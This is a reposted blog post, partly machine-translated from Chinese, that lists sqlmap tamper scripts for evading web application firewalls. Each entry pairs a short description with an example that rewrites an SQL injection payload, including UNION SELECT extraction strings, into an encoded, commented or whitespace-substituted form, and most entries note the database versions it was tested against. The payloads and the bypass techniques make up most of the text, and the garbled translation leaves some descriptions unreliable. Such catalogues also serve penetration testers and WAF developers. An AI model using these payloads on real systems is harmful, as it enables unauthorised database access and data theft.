[Reserved] sqlmap use in tamper script to bypass waf

Original link: http://www.cnblogs.com/blck/p/4976870.html

0x00 background


sqlmap in tamper script to target more efficient attack.

As the dark clouds Knowledge fewer sqlmap-tamper collect it, to facilitate learning. According to sqlmap the tamper scripts can bypass learned a few tricks. I gather looking for relevant case what circumstances can be analyzed as what tamper script. I graduated from primary school, secretly forward to say something a bit more quickly gather knowledge absorption.

0x01 start


Scripting name: apostrophemask.py


Purpose: utf8 place quotes

1
Example: ( "1 AND '1'='1" ) '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

Tested against: all

Scripting name: equaltolike.py


Role: like instead of the equal sign

1
2
3
4
5
Example:
 
*   Input: SELECT * FROM users WHERE id=1
 
*   Output : SELECT * FROM users WHERE id LIKE 1

Case I: http://wooyun.org/bugs/wooyun-2010-087296

Case II: http://wooyun.org/bugs/wooyun-2010-074790

Case III: http: //wooyun.org/bugs/wooyun-2010-072489

Scripting name: space2dash.py


Action: to bypass the filter '=' replacement space character ( "), ( '-') followed by a dash comments, a row and a new random string ( 'n-')

1
Example: ( '1 AND 9227=9227' ) '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

Tested against: * MSSQL * SQLite

Case I: http: //wooyun.org/bugs/wooyun-2010-062878

Scripting name: greatest.py


Action: to bypass the filter '>', with numbers greater than GREATEST replaced.

1
Example: ( '1 AND A > B' ) '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

Scripting name: space2hash.py


Role: replace spaces and line breaks string of random numbers #

1
2
3
4
Example:
 
*   Input: 1 AND 9227=9227
*   Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

  • MySQL Tested against:

  • MySQL 4.0, 5.0

Reference: Fack article

Scripting name: apostrophenullencode.py


Action: double quote bypassing the filter, replace characters and double quotes.

1
Example: tamper( "1 AND '1'='1" ) '1 AND %00%271%00%27=%00%271'

Tested against:

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

Scripting name: halfversionedmorekeywords.py


Role: to bypass the firewall when the database is mysql, mysql version to add a comment before each keyword

1
2
3
Example:
 
( "value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa" ) "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

Requirement:

  • MySQL < 5.1

Tested against:

  • MySQL 4.0.18, 5.0.22

Scripting name: space2morehash.py


Role: the # replace spaces and more random string line breaks

1
2
3
4
5
Example:
 
* Input: 1 AND 9227=9227
 
* Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement: * MySQL >= 5.1.13 Tested

against: * MySQL 5.1.41

Case I: 91ri article

Scripting name: appendnullbyte.py


Action: to load a zero byte character code in the payload of the end

1
Example: ( '1 AND 1=1' ) '1 AND 1=1%00'

Requirement:

  • Microsoft Access

Scripting name: ifnull2ifisnull.py


Role: to bypass the filter of IFNULL. Alternatively similar 'IFNULL (A, B)' of 'IF (ISNULL (A), B, A)'

1
2
3
Example:
 
( 'IFNULL(1, 2)' ) 'IF(ISNULL(1),2,1)'

Requirement:

  • MySQL

  • SQLite (possibly)

  • SAP MaxDB (possibly)

Tested against:

  • MySQL 5.0 and 5.5

Scripting name: space2mssqlblank.py (mssql)


Action: null symbol spaces replaced with other

Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers

Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCII table:


Case I: wooyun.org/bugs/wooyun-2010-062878

Scripting name: base64encode.py


Action: Example replaced with base64 encoding: ( "1 'AND SLEEP (5) #")' MScgQU5EIFNMRUVQKDUpIw == 'Requirement: all

Case I: http://wooyun.org/bugs/wooyun-2010-060071

Case II: http://wooyun.org/bugs/wooyun-2010-021062

Case III: http://wooyun.org/bugs/wooyun-2010-043229

Scripting name: space2mssqlhash.py


Role: replace spaces

1
Example: ( '1 AND 9227=9227' ) '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL

Scripting name: modsecurityversioned.py


Role: filtering space, contains a complete version of the query Notes

1
Example: ( '1 AND 2>1--' ) '1 /*!30874AND 2>1*/--'

Requirement: * MySQL

Tested against:

  • MySQL 5.0

Scripting name: space2mysqlblank.py


Action: Blank spaces replaced by another symbol (MySQL)

1
2
3
4
5
Example:
 
* Input: SELECT id FROM users
 
* Output : SELECT %0Bid%0BFROM%A0users

Requirement:

  • MySQL

Tested against:

  • MySQL 5.1

Case I: wooyun.org/bugs/wooyun-2010-076735

Scripting name: between.py


Action: Replace with between greater than (>)

1
Example: ( '1 AND A > B--' ) '1 AND A NOT BETWEEN 0 AND B--'

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-068815

脚本名:space2mysqldash.py


作用:替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

注:之前有个mssql的 这个是mysql的

1
Example: ( '1 AND 9227=9227' ) '1--%0AAND--%0A9227=9227'

Requirement:

  • MySQL

  • MSSQL

脚本名:multiplespaces.py


作用:围绕SQL关键字添加多个空格

1
Example: ( '1 UNION SELECT foobar' ) '1 UNION SELECT foobar'

Tested against: all

案例一: wooyun.org/bugs/wooyun-2010-072489

脚本名:space2plus.py


作用:用+替换空格

1
Example: ( 'SELECT id FROM users' ) 'SELECT+id+FROM+users' Tested against: all

脚本名:bluecoat.py


作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

1
Example: ( 'SELECT id FROM users where id = 1' ) 'SELECT%09id FROM users where id LIKE 1'

Tested against:

  • MySQL 5.1, SGOS

脚本名:nonrecursivereplacement.py


双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters

1
Example: ( '1 UNION SELECT 2--' ) '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all

脚本名:space2randomblank.py


作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集

1
Example: ( 'SELECT id FROM users' ) 'SELECT%0Did%0DFROM%0Ausers'

Tested against: all

脚本名:sp_password.py


作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

1
Example: ( '1 AND 9227=9227-- ' ) '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL

脚本名:chardoubleencode.py


作用: 双url编码(不处理以编码的)

1
2
3
4
5
Example:
 
* Input: SELECT FIELD FROM %20TABLE
 
* Output : %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

脚本名:unionalltounion.py


作用:替换UNION ALL SELECT UNION SELECT

Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'

Requirement: all

脚本名:charencode.py


作用:url编码

1
2
3
4
5
Example:
 
*   Input: SELECT FIELD FROM %20TABLE
 
*   Output : %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

脚本名:randomcase.py


作用:随机大小写 Example:

  • Input: INSERT
  • Output: InsERt

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

脚本名:unmagicquotes.py


作用:宽字符绕过 GPC addslashes

1
2
3
4
5
Example:
 
* Input: 1′ AND 1=1
 
* Output : 1%bf%27 AND 1=1–%20

脚本名:randomcomments.py


作用:用/**/分割sql关键字

1
2
3
Example:
 
INSERT ’ becomes ‘ IN //S//ERT’

脚本名:charunicodeencode.py


作用:字符串 unicode 编码

1
2
3
4
5
Example:
 
* Input: SELECT FIELD%20FROM TABLE
 
* Output : %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Requirement:

  • ASP

  • ASP.NET

Tested against:

  • Microsoft SQL Server 2000

  • Microsoft SQL Server 2005

  • MySQL 5.1.56

  • PostgreSQL 9.0.3

案例一: wooyun.org/bugs/wooyun-2010-074261

脚本名:securesphere.py


作用:追加特制的字符串

1
Example: ( '1 AND 1=1' ) "1 AND 1=1 and '0having'='0having'"

Tested against: all

脚本名:versionedmorekeywords.py


作用:注释绕过

1
2
3
4
5
Example:
 
* Input: 1 UNION ALL SELECT NULL , NULL , CONCAT( CHAR (58,122,114,115,58),IFNULL( CAST ( CURRENT_USER () AS CHAR ), CHAR (32)), CHAR (58,115,114,121,58))#
 
* Output : 1/*! UNION **! ALL **! SELECT **! NULL */,/*! NULL */,/*!CONCAT*/(/*! CHAR */(58,122,114,115,58),/*!IFNULL*/( CAST (/*! CURRENT_USER */()/*! AS **! CHAR */),/*! CHAR */(32)),/*! CHAR */(58,115,114,121,58))#

Requirement:

  • MySQL >= 5.1.13

脚本名:space2comment.py


作用:Replaces space character (‘ ‘) with comments ‘/**/’

1
2
3
4
5
Example:
 
* Input: SELECT id FROM users
 
* Output : SELECT //id// FROM /**/users

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-046496

脚本名:halfversionedmorekeywords.py


作用:关键字前加注释

1
2
3
4
5
Example:
 
* Input: value’ UNION ALL SELECT CONCAT( CHAR (58,107,112,113,58),IFNULL( CAST ( CURRENT_USER () AS CHAR ), CHAR (32)), CHAR (58,97,110,121,58)), NULL , NULL # AND ‘QDWa’= 'QDWa
 
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=' QDWa

转载于:https://www.cnblogs.com/blck/p/4976870.html

Guess you like

Origin blog.csdn.net/weixin_30685047/article/details/94783590